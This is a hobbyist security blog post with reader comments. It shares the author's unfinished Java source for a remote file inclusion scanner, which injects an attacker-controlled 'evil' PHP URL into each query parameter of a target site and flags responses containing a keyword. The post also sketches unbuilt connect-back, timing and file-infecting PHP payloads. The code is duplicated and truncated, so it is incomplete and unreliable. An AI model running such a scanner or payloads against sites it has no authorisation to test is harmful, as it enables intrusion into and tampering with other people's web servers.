Well it certainly is true, why not? That question never has a correct answer imo. It is the same question I asked myself yesterday. I was like thinking what to write on my blog (I was bored and thought that blog writing could help) after a while I just gave up (so lesson learned: only write when you actually have something to write). So today I fired up my browser(for the ones wondering, this is a personal opinion, I use: Opera {FTW!}, IE {nice}, FF {sucks}, I use them depending on what I need) and the first things I saw was this. Which is funny since it’s just a couple of days ago since I posted about python and now I see a nice and small python script to do funky stuff.
So I hadn’t even finished reading and I followed the first link I encountered which is this one. It’s a very nice write up on how to own IIS 5 using “mythical” exploits. So this brought me back to my first question a day earlier: why not? Since I didn’t have an answer for that, here is my never finished source code to scan for RFI(remote file inclusions). The whole reason I started out to code this scanner was because I’m lazy and I thought…why do it myself if I can automate it. If you want a overview about things you should and you shouldn’t automate on a pentest , read this write up.
Basically my todo list when I first wanted to code the scanner was as follow:
- implement looping through params
- implement setting params to evil url with evil php
- check response for specified keyword
Then when I was working on it and I had some better ideas to detect RFI which I then never got around to implement:
- create php which copies an image and renames it to evil.extension, then check if that exists, it’s more reliable then just checking if the page returns a certain keyword (renaming .php to .txt would be stupid, it would open the door for every single person out there)
- create a php which connects back, so the scanner only has to know if there has been a connect back from the ip it’s scanning (only works if allowed)
- create a php which has a time delay, the scanner would then just request the url twice , with and without evil php, and measure time difference
- infect all php files with a header that outputs “hi” then call the url again to clean all php files
So who knows maybe I will one day extend this scanner or maybe I’ll even attempt to rewrite it in python including the features I never got around to implement.
main.java
/*
* RfiScanner.java
*
* Created on 9 november 2007, 19:39
*
* @author DiabloHorn
*/
package rrfiscanner;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.Proxy;
import java.net.URL;
import java.net.URLConnection;
/**
*
* @author DiabloHorn
*/
public class RfiScanner {
private Proxy _conProxy;
private boolean _useProxy;
private String _SEARCH_WORD;
private String _vUrl,_aUrl;
/**
* @param args
*/
public RfiScanner(String vUrl,String aUrl) {
this._vUrl = vUrl;
this._aUrl = aUrl;
}
public void setUseProxy(boolean use){
this._useProxy = use;
}
public void setProxy(Proxy proxy){
this._conProxy = proxy;
}
public void setSearchWord(String word){
this._SEARCH_WORD = word;
}
public void scan(){
try {
PrepareURL victimURL = new PrepareURL(_vUrl,_aUrl);
URLConnection uc = null;
while(victimURL.hasNext()) {
URL u = victimURL.next();
if (_useProxy) {
uc = u.openConnection(_conProxy);
} else {
uc = u.openConnection();
}
try{
System.out.println("SCANNING: " + u.toString());
BufferedReader r = new BufferedReader(new InputStreamReader(uc.getInputStream()));
String c;
while ((c = r.readLine()) != null) {
if(c.indexOf(_SEARCH_WORD) != -1) {
System.out.println("VULNERABLE URL: " + u.toString());
break;//stop searching
}
}
}catch(IOException ioe){
//well do nothing
}
}
} catch (MalformedURLException mfue) {
System.err.println(mfue.toString());
} catch (Exception e) {
System.err.println(e.toString());
}
}
}
RfiScanner.java
/*
* RfiScanner.java
*
* Created on 9 november 2007, 19:39
*
* @author DiabloHorn
*/
package rrfiscanner;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.Proxy;
import java.net.URL;
import java.net.URLConnection;
/**
*
* @author DiabloHorn
*/
public class RfiScanner {
private Proxy _conProxy;
private boolean _useProxy;
private String _SEARCH_WORD;
private String _vUrl,_aUrl;
/**
* @param args
*/
public RfiScanner(String vUrl,String aUrl) {
this._vUrl = vUrl;
this._aUrl = aUrl;
}
public void setUseProxy(boolean use){
this._useProxy = use;
}
public void setProxy(Proxy proxy){
this._conProxy = proxy;
}
public void setSearchWord(String word){
this._SEARCH_WORD = word;
}
public void scan(){
try {
PrepareURL victimURL = new PrepareURL(_vUrl,_aUrl);
URLConnection uc = null;
while(victimURL.hasNext()) {
URL u = victimURL.next();
if (_useProxy) {
uc = u.openConnection(_conProxy);
} else {
uc = u.openConnection();
}
try{
System.out.println("SCANNING: " + u.toString());
BufferedReader r = new BufferedReader(new InputStreamReader(uc.getInputStream()));
String c;
while ((c = r.readLine()) != null) {
if(c.indexOf(_SEARCH_WORD) != -1) {
System.out.println("VULNERABLE URL: " + u.toString());
break;//stop searching
}
}
}catch(IOException ioe){
//well do nothing
}
}
} catch (MalformedURLException mfue) {
System.err.println(mfue.toString());
} catch (Exception e) {
System.err.println(e.toString());
}
}
}
PrepareURL.java
/*
* PrepareURL.java
* @author DiabloHorn
*/
package rrfiscanner;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Set;
/**
*
* @author DiabloHorn
*/
public class PrepareURL {
private static final int _nextItemInitialize = -1;
private String _victimURL;
private String _evilUrl;
private ArrayList
private int _nextItem;
/**
* @param victimUrl The URL of the site you want to inject stuff into it’s params
* @param attackUrl The “stuff”
* @throws MalformedURLException Wrong URL
*/
public PrepareURL(String victimUrl,String attackUrl) throws MalformedURLException {
this._victimURL = victimUrl;
this._evilUrl = attackUrl;
_nextItem = _nextItemInitialize;
fillList();
}
/**
* @return True if there is another element left, false otherwise
*/
public boolean hasNext() {
if(_nextItem == (_attackUrlList.size()-1)) {
return false;
}
return true;
}
/**
* @return Get the next url
*/
public URL next() {
_nextItem++;
return _attackUrlList.get(_nextItem);
}
/**
* This resets the class so you can loop again through the URL’s
*/
public void reset() {
_nextItem = _nextItemInitialize;
}
private void fillList() throws MalformedURLException {
String query = _victimURL.substring(_victimURL.indexOf(“?”)+1);
_attackUrlList = new ArrayList
if(query != null) {
HashMap
Set
Iterator
String str;
while(iParamNames.hasNext()) {
str = iParamNames.next();
_attackUrlList.add(new URL(_victimURL.replace(str+”=”+paramPairs.get(str), str+”=”+_evilUrl)));
}
}
}
/**
* @param query The query to be stripped down to parameters and it’s values
* @return A HashMap with paramname:paramvalue
*/
private HashMap
HashMap
String[] rawPairs = query.split(“&”);
for(int i=0;i
how yo compile !
thks fren…i was looking for a java scanner ;) i ll recode it and redirect the o/p to IRC via PircBot framework ;)
Would you like to make an affiliation with my forum?
The link is: htpp://attackersc.altervista.org/ or http://attackersc.altervista.org/forums